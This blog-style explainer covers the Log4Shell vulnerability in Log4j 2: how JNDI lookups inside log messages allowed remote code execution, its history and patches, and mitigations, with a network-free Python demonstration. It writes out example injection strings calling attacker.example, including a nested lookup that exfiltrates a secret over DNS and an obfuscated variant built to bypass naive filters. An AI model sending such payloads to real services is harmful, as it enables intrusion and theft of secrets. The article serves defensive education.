Log4Shell explained: how CVE-2021-44228 worked
Log4Shell (CVE-2021-44228) let attackers run code by getting one string into a Log4j log message. How JNDI lookups caused it, with a safe Python demo.

Log4Shell (CVE-2021-44228) was a remote code execution flaw in Apache Log4j 2, the most common Java logging library, disclosed on December 10, 2021. Log4j expanded ${...} lookup expressions inside log messages, including data an attacker supplied, and one lookup type, JNDI, could fetch and run code from a remote LDAP server. Any Java service that logged a user-controlled string, such as a username or a User-Agent header, with an affected version could be taken over by sending that string.
NVD scored it 10.0, the maximum. The US Cyber Safety Review Board later called it an “endemic vulnerability” that will stay in systems “for many years to come, perhaps a decade or longer”. Five years on, that call looks right.
How did Log4Shell work?
Log4j 2 has a feature called lookups: placeholders like ${env:HOME} or ${java:version} that it replaces with values when it formats a log line. They are meant for configuration, so a log pattern can include the hostname or an environment variable. The bug was that before the fix, Log4j also evaluated lookups inside the message itself, after your code had already inserted user data into it.
One of those lookups was jndi. JNDI, the Java Naming and Directory Interface, is a Java API for fetching objects from directory services such as LDAP. Given an LDAP URL, a JNDI lookup could return a reference that made the JVM load a class from a remote server. The NVD entry puts it in one sentence: “An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.”
So the attack was:
- Send any input the server will log, for example a login form with the username
${jndi:ldap://attacker.example/a}. - The application logs
"login failed for {}"with that username, as applications do. - Log4j sees the
${jndi:...}in the formatted message and performs the lookup. - The JVM contacts the attacker’s LDAP server and can end up loading and running the attacker’s class.
No authentication, no user interaction and low complexity, which is how it reached 10.0.
Where did the JNDI lookup come from?
The Cyber Safety Review Board report (published July 11, 2022) traces it back. In 2013, before Log4j 2 reached general availability in 2014, the project accepted a community-submitted “JNDI Lookup plugin support” feature through its normal process. It then shipped inside thousands of applications for eight years.
The attack technique wasn’t new either. The same report cites a Black Hat USA 2016 talk by Alvaro Muñoz and Oleksandr Mirosh, “A Journey from JNDI/LDAP Manipulation to Remote Code Execution Dream Land”, which showed how attacker-controlled JNDI lookups lead to code execution. Nobody had connected that research to a logging library that evaluated lookups in user data.
What does Log4Shell look like in code?
Here is the mechanism in Python, standard library only and with no network. A toy logger resolves ${prefix:key} placeholders in the final message, innermost first, the way nested lookups resolve. Its jndi lookup only records the URL a vulnerable Log4j would have contacted. A request handler logs a header it doesn’t control.
# log4shell_toy.py: why "${...}" lookups inside log messages are dangerous.
# Python 3 stdlib only, no network. The "jndi" lookup only records what a real
# vulnerable Log4j would have fetched; nothing is downloaded or run.
import re
SECRETS = {"DB_PASSWORD": "hunter2"} # stand-in for the process environment
OUTBOUND = [] # connections the logger "made"
LOOKUPS = {
"env": lambda key: SECRETS.get(key, ""),
"lower": lambda key: key.lower(),
"jndi": lambda key: OUTBOUND.append(key) or f"<object loaded from {key}>",
}
INNERMOST = re.compile(r"\$\{([a-z]+):([^${}]*)\}")
def substitute(text, max_rounds=10):
"""Resolve ${prefix:key} innermost-first, the way nested lookups resolve."""
for _ in range(max_rounds):
new = INNERMOST.sub(lambda m: LOOKUPS[m[1]](m[2]) if m[1] in LOOKUPS else m[0], text)
if new == text:
return text
text = new
return text
def log(template, *args, lookups_in_messages=True):
msg = template.format(*args) # user data is now part of the message
print("INFO", substitute(msg) if lookups_in_messages else msg)
# A request handler that logs a header it does not control.
for ua in ["Mozilla/5.0",
"${jndi:ldap://attacker.example/a}",
"${jndi:dns://${env:DB_PASSWORD}.attacker.example/x}",
"${${lower:J}ndi:ldap://attacker.example/b}"]:
log("login failed, user-agent={}", ua)
print("\noutbound lookups:", OUTBOUND)
naive_filter = [ua for ua in ["${${lower:J}ndi:ldap://attacker.example/b}"] if "${jndi:" in ua]
print("naive '${jndi:' filter caught the nested one:", bool(naive_filter))
OUTBOUND.clear()
print("\nafter the fix (no lookups in message text):")
log("login failed, user-agent={}", "${jndi:ldap://attacker.example/a}", lookups_in_messages=False)
print("outbound lookups:", OUTBOUND)
assert OUTBOUND == []
Output (Python 3.13.11):
INFO login failed, user-agent=Mozilla/5.0
INFO login failed, user-agent=<object loaded from ldap://attacker.example/a>
INFO login failed, user-agent=<object loaded from dns://hunter2.attacker.example/x>
INFO login failed, user-agent=<object loaded from ldap://attacker.example/b>
outbound lookups: ['ldap://attacker.example/a', 'dns://hunter2.attacker.example/x', 'ldap://attacker.example/b']
naive '${jndi:' filter caught the nested one: False
after the fix (no lookups in message text):
INFO login failed, user-agent=${jndi:ldap://attacker.example/a}
outbound lookups: []
Three things fall out of about 40 lines. The second line is the basic exploit: a header value becomes an outbound connection. The third shows that even without code execution, nested lookups can exfiltrate a secret by putting it in a hostname the attacker’s DNS server will see. The fourth shows why web application firewall rules that matched the literal string ${jndi: were a stopgap: lookups nest, so ${${lower:J}ndi: assembles the same string after the filter has looked. The CSRB report lists WAF rules among responses that “were helpful in the short term”. The real fix is the last block: don’t evaluate templates inside data.
This is a toy, so it skips the Java half (LDAP references and remote class loading). The control flow is the part worth internalizing, because it isn’t specific to Java.
Why did Log4Shell take so many patches?
Because the first fix was incomplete, and then the second. The Apache Logging security page and NVD record the sequence:
- CVE-2021-44228, fixed in 2.15.0 (December 10, 2021), which disabled message lookups by default.
- CVE-2021-45046 (December 14): the 2.15.0 fix “was incomplete in certain non-default configurations”, where a logging pattern used Thread Context data an attacker controlled. Fixed in 2.16.0, which removed message lookups entirely.
- CVE-2021-45105 (December 18): uncontrolled recursion in self-referential lookups, a denial of service. Fixed in 2.17.0.
- CVE-2021-44832 (December 28): remote code execution through a JDBC Appender with a JNDI data source, when the attacker controls the target LDAP server. Fixed in 2.17.1 (Java 8), 2.12.4 (Java 7) and 2.3.2 (Java 6).
CISA’s guidance ended up telling everyone to move to those last three versions. In current Log4j, the lookups manual says that as of 2.17.0 the JNDI lookup must be enabled explicitly with log4j2.enableJndiLookup. Four CVEs in about three weeks is what the CSRB report means by “patching fatigue”.
How was Log4Shell disclosed?
The CSRB timeline is precise. On November 24, 2021, a security engineer on the Alibaba Cloud Security team reported the JNDI issue to the Apache Software Foundation; Apache credits Chen Zhaojun. Apache committed a fix on December 5 and tagged a release candidate on December 6, without an advisory. On December 9 the reporter told Apache the bug was being discussed on WeChat, with a redacted proof of concept. Apache rushed 2.15.0 out on December 10, the CVE went public, and CISA issued a statement the same day. On December 17, CISA issued Emergency Directive 22-02 telling federal agencies to patch internet-facing assets immediately.
The hard part was never the patch. As the CSRB put it, there was no “customer list” for Log4j, “or even a list of where it is integrated as a sub-system”. Organizations had to find every JAR, including copies shaded inside vendor products and fat JARs. One federal cabinet department reported spending 33,000 hours on the response.
Why does Log4Shell matter to a builder?
Two lessons, and both outlived Java.
Never evaluate a template language over untrusted data. Log4j’s mistake has the same shape as SQL injection, server-side template injection and, now, prompt injection: a system that mixes instructions and data in one string, then lets the data act as instructions. When I review agent code, I ask the Log4Shell question about every tool result: does anything downstream interpret this text, or only display it?
You can’t patch what you can’t find. From a data-platform and privacy-compliance seat, Log4Shell felt like a data-lineage problem more than a security one: the question “where does this library run?” has the same shape as “where does this field flow?” Teams with an inventory answered in hours. That inventory is what an SBOM is for.
It also pairs with the xz backdoor. Log4Shell was an honest feature with an unsafe default; xz was deliberate sabotage. Both sat in small open source projects that huge numbers of systems depended on without knowing it.
What I would do
- Inventory first. Generate an SBOM per build artifact and per container image, and keep them queryable, so “do we run log4j-core below 2.17.1?” is one query, not a two-week hunt. Scan inside JARs, because shaded copies were where teams missed it.
- Patch to the current 2.x line. Any Log4j 2 below 2.17.1 (or 2.12.4, 2.3.2 on old Java) is exposed. If you still run Log4j 1.x, that’s a separate codebase; plan the migration rather than assuming it’s safe.
- Block egress by default. The exploit needed the server to make an outbound LDAP or DNS connection. Services that can only reach an allowlist would have turned many exploitation attempts into failed lookups.
- Use structured logging and treat log input as data. Log fields, not interpolated strings, and never feed user data into anything that evaluates expressions. The same rule applies to tool results in agent loops.
- Write down the disclosure playbook before you need it. Who owns the inventory query, who decides on emergency deploys, and how you’ll roll out a fix in stages without making things worse, which is the lesson of the CrowdStrike outage.
FAQ
Which Log4j versions are vulnerable to Log4Shell?
NVD lists Log4j2 2.0-beta9 through 2.15.0 for CVE-2021-44228, excluding the security releases 2.12.2, 2.12.3 and 2.3.1; 2.15.0 disabled the behavior by default and 2.16.0 removed it. For all four December 2021 CVEs, upgrade to 2.17.1 or later, or 2.12.4 and 2.3.2 on Java 7 and 6.
Is Log4j 1.x affected by Log4Shell?
Not by CVE-2021-44228, which is specific to log4j-core in Log4j 2. Apache’s security page tells Log4j 1 users to audit their configuration for the JMSAppender.
Does log4net have the same bug?
No. NVD’s entry says the vulnerability “is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.”
Is Log4Shell still exploited?
The CSRB expected vulnerable instances to remain “for many years to come, perhaps a decade or longer”. CISA added it to its Known Exploited Vulnerabilities catalog on December 10, 2021. Treat any unpatched Log4j 2 as exposed.
Sources
- NVD, CVE-2021-44228, published December 10, 2021; CVE-2021-45046, December 14, 2021; CVE-2021-45105, December 18, 2021; CVE-2021-44832, December 28, 2021
- Apache Logging Services, Security and Log4j lookups manual
- Cyber Safety Review Board, Review of the December 2021 Log4j Event, July 11, 2022
- CISA, Apache Log4j Vulnerability Guidance, updated April 8, 2022
- Alvaro Muñoz and Oleksandr Mirosh, A Journey from JNDI/LDAP Manipulation to Remote Code Execution Dream Land, Black Hat USA, August 2016